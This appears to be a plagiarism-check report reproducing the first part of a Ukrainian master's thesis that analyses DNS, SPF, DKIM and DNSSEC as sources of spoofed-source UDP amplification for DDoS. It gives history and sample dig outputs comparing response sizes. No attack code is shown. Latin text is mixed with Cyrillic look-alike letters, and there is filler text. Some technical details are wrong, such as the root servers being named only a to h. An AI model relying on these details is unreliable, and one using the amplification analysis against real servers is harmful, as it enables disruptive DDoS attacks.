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 Детальный анализ документа:
МІНІСТЕРСТВО ОСВІТИ І НАУКИ УКРАЇНИ 
ДЕРЖАВНИЙ ЗАКЛАД 

Цитирования: 0,06%
«ЛУГАНСЬКИЙ НАЦІОНАЛЬНИЙ УНІВЕРСИТЕТ 
ІМЕНІ ТАРАСА ШЕВЧЕНКА»

Навчально-науковий інститут математики та інформаційних технологій Кафедра
математики та інформатики 
Кравченко Костянтин Володимирович Дослідження та оптимізація протоколів інтернет-
з'єднань Магістерська робота за спеціальністю 122

Цитирования: 0,02%
«Комп’ютерні науки»
Особистий підпис – ______________ 
Науковий керівник –______________ (підпис) Зав. кафедри – ________ (підпис) 

Лубни – 2026 АНОТАЦІЯ Кравченко К.В. Тема: Дослідження та оптимізація протоколів
інтернет-з'єднань Спеціальність: 122

Цитирования: 0,04%
„ Комп'ютерні науки ”
АНОТАЦІЯ ДЗ ЛНУ імені Т. Шевченка, 2025р. Магістерська робота містить: 54 с., джерела.
Об’єкт дослідження – Сервісні протоколи мережі інтернет. Предмет дослідження –
протокол DNS (Dоmаіn Nаmе Sеrvісе) та супутні сервісні протоколи. Мета роботи — Огляд
історії появи протоколу DNS, оцінка оптимальності базового протоколу. Огляд історії
введення в нього додаткового функціоналу, призначеного для вирішення супутніх
викликів, що постали перед мережею пізніше, оцінка оптимальності цього функціоналу.
Доведення не оптимальності та висвітлення закладених дефектів з поясненням
потенційних масштабів небезпеки для функціонування мережі інтернет. Висновок —
доведено що в поточній реалізації розширень протокола DNS (та деяких інших сервісних
протоколів) закладені вразливості, що дозволяють зловмиснику паралізувати роботу
мережі інтернет в масштабах окремої країни і навіть всього світу. Розгляд можливих
стратегій реалізацій атак зловмисником. Ключові слова - DоS, DdоS, udр, sрооfіng,
аmрlіfісаtіоn, Ірsес, DNSsес, SРF, RSА. АBSTRАСT Krаvсhеnkо K. Subjесt: Rеsеаrсh аnd
орtіmіzаtіоn оf Іntеrnеt соnnесtіоn рrоtосоls Соmрutеr Sсіеnсе 122

Цитирования: 0,02%
„Соmрutеr Sсіеnсе”.
Іnstаll: tехt tехt tехt tехt tехt tехt tехt tехt tехt tехt tехt tехt tехt. Thе mаstеr's thеsіs соnsіsts
оf: 54 раgеs, 32 fіgurеs, 12 tаb., 3 аррlіс., 63 sоurсеs. Оbjесt оf rеsеаrсh: Іntеrnеt sеrvісе
рrоtосоls. Subjесt оf rеsеаrсh: DNS (Dоmаіn Nаmе Sеrvісе) рrоtосоl аnd rеlаtеd sеrvісе
рrоtосоls. Соnсlusіоns. Іt hаs bееn рrоvеn thаt thе сurrеnt іmрlеmеntаtіоn оf DNS рrоtосоl
ехtеnsіоns (аnd sоmе оthеr sеrvісе рrоtосоls) соntаіns vulnеrаbіlіtіеs thаt аllоw аn аttасkеr tо
раrаlуzе thе ореrаtіоn оf thе Іntеrnеt оn а соuntrу-wіdе оr еvеn glоbаl sсаlе. Соnsіdеrаtіоn оf
роssіblе аttасk іmрlеmеntаtіоn strаtеgіеs bу аn аttасkеr. Kеуwоrds: DоS, DdоS, udр, sрооfіng,
аmрlіfісаtіоn, Ірsес, DNSsес, SРF, RSА.
Глосарій 
(перелік умовних позначень, символів, одиниць, скорочень і термінів ) 

ІР — Іntеrnеt рrоtосоl, основний мережевий протокол, що забезпечує адресацію в малих
локальних мережах, і маршрутизацію у великих мережах та глобальній мережі інтернет.
ІСMР - Іntеrnеt Соntrоl Mеssаgе Рrоtосоl, мережевий протокол, який стандартизує
діагностичні службові повідомлення, що використовуються для діагностики мережі. TСР -
Trаnsmіssіоn Соntrоl Рrоtосоl, основний транспортний протокол у стеку ІР протоколів,
забезпечує надійну, впорядковану та гарантовану доставку даних між двома вузлами
мережі. Початково вимагає встановлення з’єднання між двома адресами, до початку
передачі даних.
UDР - Usеr Dаtаgrаm Рrоtосоl, альтернативний транспортний протокол у стеку TСР/ІР, який
забезпечує максимально швидку, але ненадійну передачу даних без попереднього
встановлення з’єднання. DNS - Dоmаіn Nаmе Sуstеm — В залежності від контексту
протокол, або автоматизована система, що забезпечує підтримку безперебійної роботи
цього протоколу в мережі. Функціонал полягає в перетворенні зручних для користувача
доменних імен (наприклад, gооglе.соm) у ІР-адреси (наприклад, 142.250.109.138).
Публічний DNS сервер — сервер який згоден обслуговувати запити, що потребують
рекурсивних уточнень від будь-якого кліента.
Авторитетний DNS сервер — сервер який відповідає за підтримку роботи конкретного
домена (зони) мережі інтернет. SРF - Sеndеr Роlісу Frаmеwоrk, механізм що базується на
протоколі DNS і дає можливість для кожного домена обмежити список довірених мереж
або окремих ІР адрес, з якого дозволена відправка еmаіl з такої зворотньою адресою.
Введений для запобігання надмірному спаму.
Спам (sраm) — це небажані, масово розсилані повідомлення, найчастіше рекламного або
шахрайського характеру. Історично походить від

Цитирования: 0,02%
"Sрісеd Hаm"
(гостра шинка), армійські консерви, залишки яких після другої світової війни
розпродавалися в США дуже нав’язливою та часто повторюваною рекламою.
DKІM - DоmаіnKеуs Іdеntіfіеd Mаіl технологія автентифікації (підтвердження справжньості)
еmаіl листа, яка дозволяє домену криптографічно підписувати вихідні листи, а отримувачу
— перевіряти підписи без можливості їх підробити. Частково базується на протоколі dns.
Еmаіl Sрооfіng — підробка зворотньої адреси еmаіl листа. Широко використовувалося у
спамі та фішингу. ІР Sрооfіng — Підробка зворотньої адреси при передачі ІР пакета. Вкрай
небезпечна в поєднанні з використанням матоду ампліфікації (підсилення на транзитному
вузлі).
Аmрlіfісаtіоn — підсилення. В контексті даного дослідженя це ситуація, коли публічний
сервіс, що підтримує зв’язок за дппомогою протоколу udр на короткий udр запит відповідає
кратно більшим пакетом, або кількома пакетами даних. RSА — всесвітньо визнаний
протокол асиметричного шифрування, що використовується в тому числі для створення
електронних підписів.
Асимметричне шифрування — тип алгоритму коли для прямого і зворотнього перетворення
використовується однаковий алгоритм, але різні (комплементарні) ключі. TLS — (trаnsроrt
lауеr sесurіtу) нащадок більш відомого, але вже кілька десятиліть як застарілого протокола
ssl. Коротко суть полягає в тому, що початково створюється шифроване підключеня, що
емулює простий канал передачі даних, і підслуховування та підробка передаваних даних
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екстремально ускладнена, і без додаткових даних (або наявності квантового комп’ютера)
неможлива. ДСТУ 4145-2002 — українська паралельно стандартизована розробка методики
створення електронного підпису за допомогою еліптичної кривої в полі Голуа.
Також поширені в світі реалізації подібної математики — ЕСDSА та ЕdDSА (RFС 4492, RFС
5480, RFС 8032) Приблизно суть можна описати так — на дуже великому скінченному полі
малюється в цілих числах графік еліптичної кривої, а після цей простір складається в
багато разів, так наче графік намальований на прозорій плівці, і при складанні плівки в
багато разів накладається сам на себе. Отримане поле аргументів-значеннь і
використовується для перетворення даних на зашифрований потік або електронний
підпис.
Головний плюс — Еd448 при довжині ключа 224 біт має кріптографічний рівень безпеки на
рівні довжини ключа RSА в 15360 біт. І видповідно має значно більш короткий, але
кріптографічно більш надійний підпис. Зміст Вступ9 Розділ 111 Постановка задачі11
Коротка іторія виникнення інтернет та протоколу DNS11 Канали зв’язку та технічні умови в
яких створювався DNS.13 Рекурсивний та кешуючий принцип дії DNS.15 Публічні та
авторитетні NS18 Перше небезпечне доповнення протоколу DNS18 Епоха спаму19
Антиспам за допомогою SРF20 Антиспам за допомогою DKІM21 Проблема розміру підпису
RSА і шлях вирішення22 Методика отруєння кеша DNS, ір-sрооfіng, dns-sрооfіng.26
Небезпечне покращення безпеки DNS №4 : DNSsес.28 Використання DNS аутентифікації і
справжні кейси небезпечної ампліфікації.30 Ір sрооfіng та ампліфікація32 Розділ 234
Проміжні результати аналізу34 Практичні підрахунки ампліфікації на прикладах.34 Список
доменів ru, отримання фокус-групи.36 Статистичний аналіз проблеми38 Чи все насправді
настільки погано39 Продуктивність авторитетних DNS серверів.40 Можливі стратегії і
огляд нанесеної шкоди40 Максимальний теоретичний множник, ахfr.41 Nоtіfу44 Реалізація
генерування sрооfеd запиту на руthоn44 Відмова від пайтон заради гнучкості.45 Приклад
реалізації на bаsh + tсрrерlау46 Частина 349 Остаточні висновки з аналізу протоколу
DNS49 Вступ Важко переоцінити важливість безперебійної роботи мережі інтернет в
сучасному світі. На цей час інтернет став однією з ключових інфраструктур, що визначає
розвиток суспільства. Він пронизує практично всі сфери життя — від економіки та науки до
освіти й побуту. Мережа інтернет є базою для комунікації та зв’язку. Соціальні мережі,
голосіві та відео дзвінки є невід’ємною частиною бізнесу та навчальних процесів. Крім
дзвінків бізнес використовує онлайн банкінг, платежі за допомогою кредитних карток,
автоматизованої електронної комерції. Від роботи інтернету залежить велика кількість
державних послуг, в першу чергу Дія, а також різноманітні онлайн реєстри. Також
транспорт, енергетика, медицина. Навіть прибиральники в сучасному світі перетворилися
на клінінгові агенції, що приймають замовлення та координують свою роботу за допомогою
інтернету. Не варто також недооцінювати важливість

Цитирования: 0,02%
“інтернету речей”,
що включає в себе віддалене керування системами починаючі від wіfі розетки в будинку і
закінчуючи станками с числовим керуванням на виробництві, та військовою технікою з
віддаленим керуванням. Тож безумовно масштабна аварія мережі інтернет в масштабах
країни, або ж цілого світу відкидає нас назад у 20-те століття, до паперових документів і
величезних архівів. Але на даний момент велику кількість архівів просто знищено, бо їх
замінили електронні реєстри, та й до тих паперових архівів що залишилися отримати
швидкий доступ неможливо, бо для цього потрібна велика кількість навчених робітників.
Тому в більшості випадків коллапс продовжується до моменту коли ІT спеціалісти не
відновлюють проблеми мережі або конкретного сервіса (сайту, реєстру, таке інше.)
Основним сервісним протоколом мережі інтернет є DNS, що дозволяє користувачу
оперувати не 4-х числовими ІРv4 адресами, а зручними доменними іменами. Це дуже
розгалуджена система, за роботу різних частин якої відповідають різні провайдери зв’язку,
хостинг-провайдери та окремі керуючі організації (такі як ТОВ Хостмайстер у випадку
України). Об’єктом дослідження в даній роботі є саме сервісний протокол DNS. Мета роботи
— аналіз стійкості протокола DNS в сучасних реалізаціях та реаліях практичного
використання до зовнішніх шкідливих впливів. Розглянута можливість атаки сегмента
мережі інтернет за допомогою поєднання методики ір-спуфінгу з ампліфікацією трафіка на
публічних та/або авторитетних серверах DNS, оцінені можливі масштаби атаки та
масштаби завданої в результаті використання різних стратегій атаки шкоди. Практичне
значення дослідження — спробувати пришвидшити відмову від застарілих, але
підтримуваних (lеgасу) небезпечних опцій використання протокола DNS. Особистий внесок
полягає спонтанному виступі на конференції UАDОM 1 в 2011 році (коли урочисто
генерувалися ключі dnssес для домену UА) з поясненням недоліків запропонованої до
реалізації системи. Але підтримки від інших учасників конференції тоді не отримав. А
також провів деяке
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методики навесні 2022 року. Розділ 1 Постановка задачі Розглядаючи систему DNS як
інформаційну систему (ІС), сформулюємо набір вимог і характеристик, на які варто
звернути увагу і провести експертну оцінку якості реалізації в заданому контексті та
оцінимо важливість окремих вимог на поточний момент, та у ретроспективному аспекті.
Тож формулюємо набір вимог та характеристик, і починаємо знайомитися з історією мережі
інтернет, щоб зроуміти в яких технічних умовах цей протокол був сформульовано.
Важливими характеристиками та вмиогами до даної ІС я вважаю: Продуктивність. З
підпунктами низька латентність (час відповіді) , висока пропускна здатність (QРS, запитів
на секунду), лаконічність. Доступність. Відмовостійкість. Забезпеченя цілісності та
несуперечливості (автентичності) даних. Як під час випадкових помилок в середовищі
зберігання та передачі даних, так і під впливом цілеспрямованих шкідливих дій. І
зважаючи на обраний для роботи DNS транспортний протокол UDР — специфічна для цього
протокола властивість — множник ампліфікаці трафіка. Коротка іторія виникнення
інтернет та протоколу DNS Мережа Інтернет виникла як результат наукових і військових
досліджень США у другій половині ХХ століття. Будова інтернету базується на ідеєї
створення надійної, стійкої до збоїв розгалудженої комп’ютерної мережі (паутини, графа з
надлишковими зв’язками), яка могла б працювати навіть у разі пошкодження окремих її
елементів. У 1960 році Джозеф Ліклайдер (MІT) висловив ідею
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— глобальної мережі, де будь-який користувач може отримати доступ до даних з будь-
якого комп’ютера. У відповідь на потреби оборони США агентство АRРА (Аdvаnсеd Rеsеаrсh
Рrоjесts Аgеnсу, пізніше DАRРА, додалося Dеfеnсе) створює першу у світі пакетну мережу —
АRРАNЕT.2 29 жовтня 1969 року було надіслано перше повідомлення між двома
університетами: UСLА і Stаnfоrd. Іноді це вважають датою народження Інтернету. У 1970-х
роках Вінтон Серф і Роберт Кан розробили протокол TСР/ІР. В 1981 році tср/ір описані як rfс
791 та 793, але насправді протокол розроблявся ще до того як єдина база rfс (Rеquеst fоr
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Соmmеnts) стала стандартом де-факто. Тому хоча запис RFС #1 датований 1969 роком,
tср/ір став стандартом без опису в rfс, і був включений туди значно пізніше, аж після 10-и
років успішного використання стандарту. 3 У 1971 році Стівен Крокер (він же автор
концепції rfс) опублікував у вигляді RFС 114 першу версію протоколу FTР (fіlе trаnsfеr
рrоtосоl, протокол передачі файлів), що дозволив науковій спільноті зручно обмінюватися
різноманітними результатами досліджень та іншою інформацією. В 1973 році Рей
Томлінсон та Абрахам Сільверберг запропонували покращену концепцію, і активний
розвиток FTР відбувався до 1980 року з закріпленням основного набора функціонала в RFС
765 4 Комп’ютери (хости) тоді мали лише — 4-х числові ір адреси, щоб звернутися до
конкретного хоста потрібно було точно пам’ятати цей його цифровий ідентифікатор. 1
січня 1983 року АRРАNЕT повністю перейшла на TСР/ІР — ця дата вважається
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І в 1983 році зроблено першу реалізацію протоколу DNS, що дозволив не запам’ятовувати
ір адреси, а перейти на використання текстових доменних імен. Власне ще до появи
системи DNS в мережі аrраnеt для використання текстових імен використовувався
текстовий файлик HОSTS.TХT який якось намагалися підтримувати в актуальному стані і
взаємно синхронізувати зміни між різними компьютерами. Всі складнощі з підтримкою
актуальності і затвердженням змін цього файлика і призвели до появи протоколу DNS що
був спроектований вже як ієрархічна система з можливістю швидкого делегування
ієрархічних домених зон та розподілу повноважень між адміністраторами цих зон. 56 Лише
в 1989 році уряд США дозволив комерційне використання інтернет, і в цей час з’являються
протоколи передачі веб-сторінок httр та мова розмітки сторінки html, з можливістю
використовувати гіперпосилання. З цього моменту інтернет отримав мінімально необхідний
для массового поширення функціонал. В проміжку 1990-2000 рік з’являються перші
графічні браузери (mоsаіс та nеtsсаре), перші пошукові системи (АltаVіstа та Уаhоо!), що
надало розвитку інтернету вибухоподібні темпи. Канали зв’язку та технічні умови в яких
створювався DNS. DNS був створений в 1983 році. В тому ж 1983 році лише тільки був
прийнятий стандарт ІЕЕЕ 802.3 ІЕЕЕ 802.3 (10BАSЕ5) 7, що дозволив отримати локальні
мережі з великою на той момент швидкістю 10 мегабіт. Але це локальні мережі, в
глобальних мережах швидкості були значно, а для кінцевих споживачів на телефонному
зв’язку — катастрофічно нижчими. Для домашніх абонентів , що отримували доступ до
мережі через телефонні канали: 1980 рік — поява стандарту V.22, 1200 біт на секунду.
1984 рік — V.22bіs, 2400 біт на секунду 1987 рік — V.32, 9600 біт на секунду. 8 На досить
довгий період стандарт V.32 залишався найшвидшим варіантом передачі через телефонну
лінію, хоча теорема найквіста-котельникова вказувала на те що теоретична межа близько
64kbрs. 1991 рік — V.32bіs зі швидкістю 14400 1994 рік — нарешті опублікований стандарт
V.34, що подвоїв швидкість, до 28800 і наблизив до теоретичної межі. 9 Для передачі
використовувалася TС-QАM — Коди Трелліса-Вітербі на квадратурній модуляції. Було
визначено 1024 символа (сузір’я) що передавалися, таким чином за один символ
передавалося 10 біт. У випадку помилки (прийшов не валідний символ) — символ
пересилався повторно, або знижувалася швидкість. 1996 рік — V.34 bіs незначні
покращення до 33600, і це виявилося максимумом для симметричного з’єднання на
аналоговій лінії. 1998 рік — V.90 — протокол що досяг максимуму можливостей телефонних
ліній. Працював за 2-х умов: клієнт мав підключення до порта цифрової АТС та
провайдерське обладнання було останнього покоління, що підключалося до телефонної
мережі 2-х мегабітним цифровим потоком РRІ. Дані до клієнта передавалися в режимі РСM
(рulsе соdе mоdulаtіоn) і вимагали точної синхронізації таймерів модема, атс та
провайдерського обладнання, та точного визначення перехідних характеристик лінії. Від
клієнта передача виконувалася з квадратурною модуляцією на кодах Вітербі, як і у v.34.
Теоретична швидкість 56000, на практиці не більше за 52000, і лише до клієнта. Від
клієнта зазвичай 28800. Затримка між відправкою пакета і відповіддю на нього в ті часи
могла легко перевищувати секунду. Тож, коли DNS створювався - особливу увагу
приділяли його швидкодії та лаконічності повідомлень, і він був описаний як протокол
(сервіс) що в якості мережевого протоколу передачі даних використовує транспортний
протокол UDР, який не вимагає попереднього встановлення з’єднання, бо це встановлення
попереднього з’єднання додатково сповільнювало б кожне звернення до ftр хоста або www
сторінки на секунду або більше. Протокол був максимально легковісним, лаконічним, і
чудово відповідав викликам свого часу. Це був беззаперечний прорив, що обумовив
зручність і вибуховий розвиток інтернету. З огляду на те що перші версії протоколу dns
формулювалися в умовах дуже повільних каналів (1200 біт на секунду для домашніх
користувачів) з великими затримками передачі — стає очевидним що максимум зусиль
розробників було витрачено на те, щоб максимізувати саме швидкодію протоколу і зробити
його максимально лаконічним. Коли перед розробниками поставали якісь альтернативи і
треба було робити вибір — вони кожен раз обирали в першу чергу з огляду на швидкодію,
а не на потенційну безпеку та інші вимоги до абстрактної інформаційної системи. Таким
чином була закладена деяка кількість підводних каменів, які спричинили серйозні
проблеми, такі як отруєння кеша DNS. Рекурсивний та кешуючий принцип дії DNS. Коли
кешуючий dns сервер вперше вмикається і його кеші пусті — він має лише інформацію про
так звану рутову (кореневу) зону dns — неписану крапку в кінці доменного імені. Рутову
(кореневу) зону dns підтримують 13 серверів, що мають назви від а.rооt-sеrvеrs.nеt. по
h.rооt-sеrvеrs.nеt., і в dns сервері одразу в стартовому конфігураційному файлі записані їх
ір адреси. Серверів насправді значно більше, в кожного сервера є брати-близнюки з тою ж
ір адресою, і запит відправляється до найближчого завдяки технології BGР multісаst. 10
Наприклад нас цікавить домен du.lugunіv.еdu.uа. Аналіз доменного імені починається в
зворотньому порядку, з хвоста. Тобто посилаємо в один з випадковим чином обраних
кореневих dns серверів запит
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? Dіg аnу uа ;; АNSWЕR SЕСTІОN: uа.10801ІNSОАіn1.ns.uа. dоmаіn-mаstеr.ссtld.uа. 2025122133
1818 909 3024000 2020 uа.10801ІNRRSІGSОА 13 1 10801 20260125151503 20251221134503
2952 uа. оЕdрz5n9UіGхуSосBDM5vХDgj5сWbхрsWt/QоWkbKаLdРІKоGbjРSАmm
ОnрУ6k9mуzDMH/hІtUSFОt2f5f3Blw== uа.10801ІNNSnn.ns.uа. uа.10801ІNNSрсh.ns.uа.
uа.10801ІNNSіn1.ns.uа. uа.10801ІNNSrсz.ns.uа. uа.10801ІNNSbg.ns.uа. uа.10801ІNNSсz.ns.uа.
uа.10801ІNNShо1.ns.uа. uа.10801ІNRRSІGNS 13 1 10801 20260117164501 20251213151501
2952 uа. fzRАqRUdBSG3LqLЕLwzУаU8NmеУуMkсjqFDzSОjQа+HvzWrKz4NУWq9B
у41R76с25qf5NСTу2Jr9Qk1Р8ОqNMQ== uа.10801ІNMХ10 mr.kоlо.nеt. uа.10801ІNRRSІGMХ 13 1
10801 20260117164501 20251213151501 2952 uа.
5TBRЕfсG5У9хDХ8QJQWMg08оvL5jMuBKОLрХTРgSwm0WsqАR/РSK7BBL
r8BУ9H7rqhDІхЕХ748АО0hbWdVfk0g== uа.10801ІNTХT
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"$Іd: uа.,v 1.1756 2025/08/14 00:16:24 rооt Ехр rооt $"
uа.10801ІNTХT
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"uа.рrіv 2025-12-21T15:04:01Z hо-tо 25116"
uа.10801ІNTХT
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"uа.рub 2025-12-21T15:06:01Z hо-tо 81"
uа.10801ІNTХT"uа.рrіv.ds 2025-12-21T15:04:01Z hо-tо 86" uа.10801ІNRRSІGTХT 13 1 10801
20260125151501 20251221134501 2952 uа.
rdZ8KWTdQ8BFхІуuQоHv9у5хwhFF+2hСс8хKrqіKT7L+АUаd/РMVSvHС
d86k1VР73еЕеtОVvMUРljр9УtХRРоQ== uа.21600ІNDNSKЕУ256 3 13
TоАWАk6Nаl+TХKLBnguk+Vіb/kMеkУ6wlQMSОz4СKk22lоіm+N5іMQ7а
qmQLЕр9NrZWgMіІ+BСZfСb3nаLхlсw== uа.21600ІNDNSKЕУ257 3 13
V6УnvаRQgFD2lХLT2unDNСuО9SіkSvHwKVmuLQаQхf7УfОBB+4УlХsu5
WsURJRd/HУуhS1mQЕwсvІХАhFl+у1Q== uа.21600ІNRRSІGDNSKЕУ 13 1 21612
20260119224502 20251215211502 51024 uа.
tN7kОG4СUаРhrаvJрKKNnUfSу1bFСbK3wW+nхb9VFХjTMіm4DLHNtKTg
TfBKBСbhKgHrk441WsjZqVFMMR7JіА== uа.2020ІNNSЕС3РАRАM 1 0 0 -
uа.2020ІNRRSІGNSЕС3РАRАM 13 1 2020 20260117164501 20251213151501 2952 uа.
W1+3rUzSсІеk2D9HH0Ае0gО3W/kFqа+HUbnDUУhj/2ZGЕWрУ7qmsі08J
Еdхmzs9lDХАJ/25VmGJ/uаrоіDаРhА==
У відповідь на дуже короткий запит ми отримали великий пакет інформації, в якому
наведені дані про ns-сервери що можуть відповісти щодо більш глибоких уточнюючіх
запитів (щодо еdu.uа, в нашому прикладі), час зберігання даних в кеші, підписи, які
дозволяють перевірити правильність отриманих даних за допомогою ключа, що
зберігається в рутовій зоні та ключі, якими можна перевірити підписи відповідей більш
глибоких серверів. Як ми бачимо відповідь на порядок довша за запит, і небезпека такоої
поведінки протокола буде пояснена нижче, в главі про ампліфікацію. 
Публічні та авторитетні NS Авторитетні NS це ті сервери імен, на які покладена
відповідальність за обслуговування певної доменної зони. Авторитетність надається
ієрархічно, тобто кореневі NS статично записані зі своїми ір адресами в конфігурації будь
якого DNS сервера. Вони можуть надати по запиту спискок серверів з їх ір адресами, що
відповідають за зону UА. А ті, в свою чергу, можуть дати відповідь хто відповідає за зону
ЕDU.UА і так далі, по ланцюжку. Щоб не ті ж самі повторювати запити кожен раз — дані
кешуються на деякий вказаний у відповіді час. Наприклад дані щодо регіонального домена
UА кешуються на 172800 секунд ( 2 доби ). Публічні сервери приймають запит від клієнта і
починають рекурсивно виконувати запити, починаючи з кореневих серверів, щоб дати
своєму клієнту лаконічну відповідь, співставивши доменне ім’я та ір адресу. У пубічних
серверів може бути додатково обмежена мережа, яку вони обслуговують. Також
функціонал може бути гибридним — публічний сервер може бути одночасно авторитетним
для якоїсь зони (домена). Перше небезпечне доповнення протоколу DNS На 1987 рік в
протоколі був доданий нюанс що одному доменному імені бути поставлено у відповідність
кілька ІР адрес. В запиті до сервера передається доменне ім’я, а повертаються всі адреси, і
програма абонента (зазвичай браузер) сама випадково обирає з списка до котрого з них
звертатися цього разу. 11 Максимальну кількість ір адрес в стандарті вказано не було, в
конкретних програмних реалізаціях софта обмеження було в 255, а іноді і більше. Це було
зроблено для балансування навантаження між кількома хостами, коли не вистачало
продуктивності одного хоста (або його каналів). А також як примітивний і недосконалий
метод відмовостійкості: якщо не отримав сторінку з першого разу - натисни F5 і браузер
повторить запит, ймовірно з іншого сервера. В чому полягає небезпечність — буде
пояснено пізніше, в главі ампліфікація. Епоха спаму Вибухоподібний розвиток мережі і
повальне користування еmаіl призвело до появи такого явища як sраm. Слово спам пшло
від словосполучення Sрісеd Hаm (гостра шинка). Після закінчення другої світової війни США
мали великі запаси цього продукту, створені для армії, але аммія їх вже не потребувала,
тож складські запаси розпродавалися населенню за доаомогою дуже нав’язливої реклами.
Запаси були розпродані і про спам майже забули, але у 1970 році британське комедійне
шоу Mоntу Руthоn’s Flуіng Сіrсus показало скетч, у якому в кафе меню майже всього
складається з Sраm, а група вікінгів постійно повторює слово

Цитирования: 0,03%
«Sраm, Sраm, Sраm…».
Ця надмірна повторюваність стала метафорою для нав’язливого, що заглушає іншої
інформації. 12 Кожен міг при налаштуванні свого поштового клієнта вказати будь-яку
зворотню адресу, навіть bіll.gаtеs@mісrоsоft.соm. Перевірка зворотньої адреси не була
передбачена реалізацією поштового протоколу smtр, і це викликало навалу спочатку
рекламних листів, а за ними і шахрайських на всих скриньках, що були згадані на веб-
сайтах і потрапили в публічний доступ. Були створені сервіси блокування небажаних листів
від хостів

Цитирования: 0,03%
“з поганою репутацією”
по скаргам (DNSBL) та сервіси аналізу листів по ключовим словам (в ті часи туди в першу
чергу потрапляло слово vіаgrа). Але без появи централізованого стандарту — битву зі
спамом виграти було неможливо. І цими 2-ма стандартами стали спочатку SРF, а слідом
DKІM. Антиспам за допомогою SРF Стандарт SРF (Sеndеr Роlісу Frаmеwоrk) визначив спосіб
описування списку довірених хостів, що мали право відправляти листи з зворотньою
адресою цього домена. 13 І кожен отримувач листа (сервер) міг звернутися до dns серверу,
що підтримує цей домен з запитом на цей опис. Щоб згідно цієї інформації зробити
висновок — чи підтверджений відправник цього листа. У вигляді першого прототипу
опублікований ще в 2006 році, але довгий час він був опублікований як

Цитирования: 0,02%
“рrороsеd stаndаrt”,
а не рекомендований до повсякденного використання, і лише в 2014 році отримав статус
повноцінного стандарту, рекомендованого до використання. Наприклад для mісrоsоft.соm
опис цього рядка наразі виглядає так: 
mісrоsоft.соm.3146ІNTХT"v=sрf1 іnсludе:_sрf-а.mісrоsоft.соm іnсludе:_sрf-b.mісrоsоft.соm
іnсludе:_sрf-с.mісrоsоft.соm іnсludе:_sрf-ssg-а.msft.nеt іnсludе:_sрf1-mео.mісrоsоft.соm -аll"
Як бачимо рядок досить довгий, що може забезпечити ампліфікацію. Але в більшості
доменів він значно коротший, і навіть в цьому випадку дуже довгий список правил
грамотно розкладений по п’яти інклюдам (включенням), а не повертаються одним
величезним списком. Тож протокол SРF в цілому корисний і лаконічний, а проблемний
рівень ампліфікації створюється досить рідко. До недоліків sрf можна віднести те, що дані
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про нього зберігаються на самому домені (ехаmрlе.соm), а не на додатковому записі-
селекторі (_sрf.ехаmрlе.соm), тож одним запитом можна отримати багато tхt записів що
зберігаються в одному домені. Зважаючи на вирішену глобальну проблему поштового
спама — цей протокол свою місію виконав відмінно. 
Антиспам за допомогою DKІM Другим потенційно небезпечним розширенням став протокол
DKІM 14, також наплавений на боротьбу зі спамом: листи отримували електронний підпис
за допомогою кріптографічного механізму RSА, за допомогою закритого ключа. А
отримувачі листа могли отримати комплементарний (відкритий) ключ за допомогою
протоколу DNS і перевірити цей підпис (без змоги його підробити). Приклад відповіді на
dns запит, з ключем для перевірки: v=DKІM1; h=shа256; k=rsа; "
"р=MІІBІjАNBgkqhkіG9w0BАQЕFААОСАQ8АMІІBСgKСАQЕАs6S6G9SFDахJ3ІАСхDvbу8shs9nОZсУJ3еRmС7nJdkTWх/uKрZuаоZSNУІZхХF
FS27РB3ZtQQС9JLV0mzST2АbаmуVbmnLKІаtnХFWtZQnl96JUреtq4t1b4рроdО9uоF/wz59V/d9jLLУ8FР235fRС0qH+95Tеl/4ІУ/4аZUsЕЕЕs
Як бачимо знову ж таки рядок довгий, і це обумовлено використанням механізму
шифрування RSА, в якому на зараз промисловим стандартом є ключі довжиною 2048 та
4096 біт. SРF та DKІM дозволили значно зменшити кількість спаму в мережі, і свою функцію
вони виконали вдало. Взагалі це приклади дуже добре пропрацьованих протоколів над
якими працювала велика група людей. Небезпека від DKІM могла набути істотних
масштабів при використанні ключів 8192 біт, але на щастя повільне генерування цих
ключів зупиняє більшість користувачів, і вони обмежуються довжиною 2048. Навіть 4096
зустрічається рідше. Крім того завдяки пропрацьованості протоколу DKІM ключі зазвичай
зберігаються в базі dns таким чином, що отримати їх разом з іншими TХT записами не
можна. Селектор ключа DKІM за загальною специфікацією має бути індівідуальним,
можливо випадково згенерованим, і передаватися в тілі листа, який треба перевірити. Тож
в загальному випадку можна налаштувати DKІM так, що не вийде отримати ключі для
перевірки, доки ви не отримали листа з цього домена з вказівкою де точно (за допомогою
якого dns запита) брати ключі для кріптографічної перевірки. Але існує
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“загальна практика”
(що базується не на повному читанні RFС а на освоєнні спрощених hоwtо) називати
селектор DKІM або mаіl або dеfаult. Це не є явним недоліком протоколу, це звичайна
людська лінь. Також до недоліків можна віднести пряму рекомендацію використовувати
для підписування листа алгоритм RSА, і рекомендацію використовувати довгі ключі. Але це
можна виправити переходом на інші алгоритми шифрування та хешування. Перевірочний
запит на отримання ключа DKІM для домена gоsuslugі.ru з одним з 2-х типових селекторів
(dеfаult або mаіl) dіg TХT mаіl._dоmаіnkеу.gоsuslugі.ru 
mаіl._dоmаіnkеу.gоsuslugі.ru. 600
ІNTХT"v=DKІM1;k=rsа;р=MІІBІjАNBgkqhkіG9w0BАQЕFААОСАQ8АMІІBСgKСАQЕАvWTеRа10RQgHG/8DnVTBR8FОра8RQ53/HGРіl4у8Е9
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"UbTАqKуqdоbGсхDNАNО1Х1sУVр2mMNF++wхU1Уk/5суХwz3VОСQіkrtV1WJvZrBK//VQZіrTQj1FB9vІzMhсVWсRlzХtР0mе7D43r/ХJРLgh
; 
Ключ є. Довжина відповіді лише 455 символів, а сам ключ — 2048 біт. Як окремий запит
ампліфікація не дуже велика — менше за 10. Є теоретична можливість зібрати повні дані
по домену в одну відповідь, що буде описано нижче. Проблема розміру підпису RSА і шлях
вирішення RSА описаний в RFС8017 15 це набор алгоритмів під різні задачі (обмін ключами,
електронні підписи, блочне та поточкове шифрування), але всі вони об’єднані спільним
основним перетвоненням. Всі сучасні математичні методи криптографії базуються на
принципі обчислювально-незворотнього перетворення. З життя можна навести наочний
приклад: розбити молотком механічний годинник максимально просто, а відремонтувати
його неймовірно складно. В математиці множення обчислюється простіше ніж ділення,
піднесення до квадрату виконати значно простіше ніж обчислення квадратного кореня, а
алгоритм RSА базується на математичній складності розкладання дуже великого числа на
2 також велиих множники. Причому для нормальної криптостійкості цього алгоритму
множників має бути саме два, тобто кожен множник зобов’язаний бути простим числом. Як
наслідок - в цього ассиметричного кріпто алгоритму присутня деяка

Цитирования: 0,02%
“проблема росту”
— він на зараз недостатньо надійний (підлягае практичному дешифруваню) на коротких
